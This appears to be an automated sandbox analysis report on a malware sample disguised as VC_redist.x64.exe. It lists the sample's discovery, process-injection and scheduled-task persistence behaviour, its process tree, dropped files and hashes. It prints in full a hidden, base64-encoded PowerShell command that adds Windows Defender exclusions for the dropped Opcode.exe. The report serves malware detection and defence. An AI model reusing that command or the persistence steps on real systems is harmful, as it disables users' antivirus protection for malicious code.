Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/10/2026, 12:16

General

  • Target
    VC_redist.x64.exe
  • Size 1.3MB
  • Sample261002-pffftavyhx
  • SHA256 f6b2648f4506ddc4ae02ac21cfb8cc3ec2ac0b2ce2a5a6987e5e88b757725b2a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 3 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 10 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\VC_redist.x64.exe
    "C:\Users\Admin\AppData\Local\Temp\VC_redist.x64.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Reads the TCP/IP host and domain name from the registry
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4404
    • C:\Users\Admin\AppData\Local\Temp\VC_redist.x64.exe
      "C:\Users\Admin\AppData\Local\Temp\VC_redist.x64.exe"
      2⤵
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1608
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /TN "ncppwrhog" /XML "C:\Users\Admin\AppData\Local\Temp\1ea329bb1eee4d66aac4a495abb2a1c5.xml" /F
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:5584
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /Create /TN "Opcode" /XML "C:\Users\Admin\AppData\Local\Temp\981ae531115c44e5ad8ad42808d4af45.xml" /F
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:4308
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABQAHIAbwBwAGEAZwBhAHQAaQBvAG4ARgBsAGEAZwBzAFwAdABtAHEAeQB4AFwATwBwAGMAbwBkAGUALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAUAByAG8AcABhAGcAYQB0AGkAbwBuAEYAbABhAGcAcwBcAHQAbQBxAHkAeABcAE8AcABjAG8AZABlAC4AZQB4AGUAOwA=
    1⤵
    • Command and Scripting Interpreter: PowerShell
    • Enumerates connected drives
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2216
  • C:\Users\Admin\AppData\Local\PropagationFlags\tmqyx\Opcode.exe
    C:\Users\Admin\AppData\Local\PropagationFlags\tmqyx\Opcode.exe
    1⤵
    • Executes dropped EXE
    • Reads the TCP/IP host and domain name from the registry
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    PID:5628
  • C:\Users\Admin\AppData\Local\PropagationFlags\tmqyx\Opcode.exe
    "C:\Users\Admin\AppData\Local\PropagationFlags\tmqyx\Opcode.exe"
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Reads the TCP/IP host and domain name from the registry
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2852
    • C:\Users\Admin\AppData\Local\PropagationFlags\tmqyx\Opcode.exe
      "C:\Users\Admin\AppData\Local\PropagationFlags\tmqyx\Opcode.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5300
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        3⤵
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2320
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:832

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        Opcode.exe

        • Path C:\Users\Admin\AppData\Local\PropagationFlags\tmqyx\Opcode.exe
        • Size 1.3MB
        • SHA256 f6b2648f4506ddc4ae02ac21cfb8cc3ec2ac0b2ce2a5a6987e5e88b757725b2a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        1ea329bb1eee4d66aac4a495abb2a1c5.xml

        • Path C:\Users\Admin\AppData\Local\Temp\1ea329bb1eee4d66aac4a495abb2a1c5.xml
        • Size 2KB
        • SHA256 8b94541e7a161b14baec2ecb3d365e3830d85e965e940566e8870e4c390c89b2
        • MD5 SHA1 SHA512 TLSH

        981ae531115c44e5ad8ad42808d4af45.xml

        • Path C:\Users\Admin\AppData\Local\Temp\981ae531115c44e5ad8ad42808d4af45.xml
        • Size 1KB
        • SHA256 85f4e999df66dbaa2ee7955b4bc61279e0b94b9d49f66d40891207bbf190c705
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_efs04bib.cru.psm1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_efs04bib.cru.psm1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/1608-2265-0x0000000074390000-0x0000000074B4C000-memory.dmp

        memory/1608-2248-0x0000000005B30000-0x0000000005C28000-memory.dmp

        memory/1608-2245-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/1608-2249-0x0000000074390000-0x0000000074B4C000-memory.dmp

        memory/1608-2261-0x0000000074390000-0x0000000074B4C000-memory.dmp

        memory/1608-2247-0x0000000005AC0000-0x0000000005B30000-memory.dmp

        memory/1608-2246-0x0000000074390000-0x0000000074B4C000-memory.dmp

        memory/2216-2260-0x000001749D3F0000-0x000001749D3FA000-memory.dmp

        memory/2216-2259-0x000001749D730000-0x000001749D7E2000-memory.dmp

        memory/2216-2258-0x000001749D710000-0x000001749D72E000-memory.dmp

        memory/2216-2255-0x000001749D340000-0x000001749D362000-memory.dmp

        memory/4404-66-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-46-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-128-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-130-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-126-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-120-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-115-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-112-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-110-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-108-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-106-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-104-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-102-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-100-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-98-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-96-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-94-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-92-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-90-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-88-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-86-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-84-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-118-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-116-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-82-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-80-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-76-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-75-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-72-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-70-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-68-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-122-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-65-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-63-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-58-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-54-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-52-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-51-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-49-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-125-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-78-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-61-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-39-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-40-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-37-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-32-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-30-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-28-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-27-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-25-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-20-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-18-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-16-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-42-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-10-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-22-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-14-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-6-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-5-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-2060-0x00000000743A2000-0x00000000743A3000-memory.dmp

        memory/4404-2238-0x0000000074390000-0x0000000074B4C000-memory.dmp

        memory/4404-2239-0x0000000005720000-0x00000000057C8000-memory.dmp

        memory/4404-2240-0x00000000057F0000-0x0000000005896000-memory.dmp

        memory/4404-2241-0x00000000058E0000-0x000000000592C000-memory.dmp

        memory/4404-2242-0x0000000006140000-0x00000000061A6000-memory.dmp

        memory/4404-2243-0x0000000074390000-0x0000000074B4C000-memory.dmp

        memory/4404-56-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-45-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-12-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-34-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-8-0x00000000053C0000-0x000000000550D000-memory.dmp

        memory/4404-4-0x0000000005610000-0x00000000056A2000-memory.dmp

        memory/4404-3-0x0000000005AD0000-0x000000000608A000-memory.dmp

        memory/4404-2-0x00000000053C0000-0x0000000005512000-memory.dmp

        memory/4404-1-0x00000000007B0000-0x0000000000908000-memory.dmp

        memory/4404-0-0x00000000743A2000-0x00000000743A3000-memory.dmp

        memory/4404-2250-0x0000000074390000-0x0000000074B4C000-memory.dmp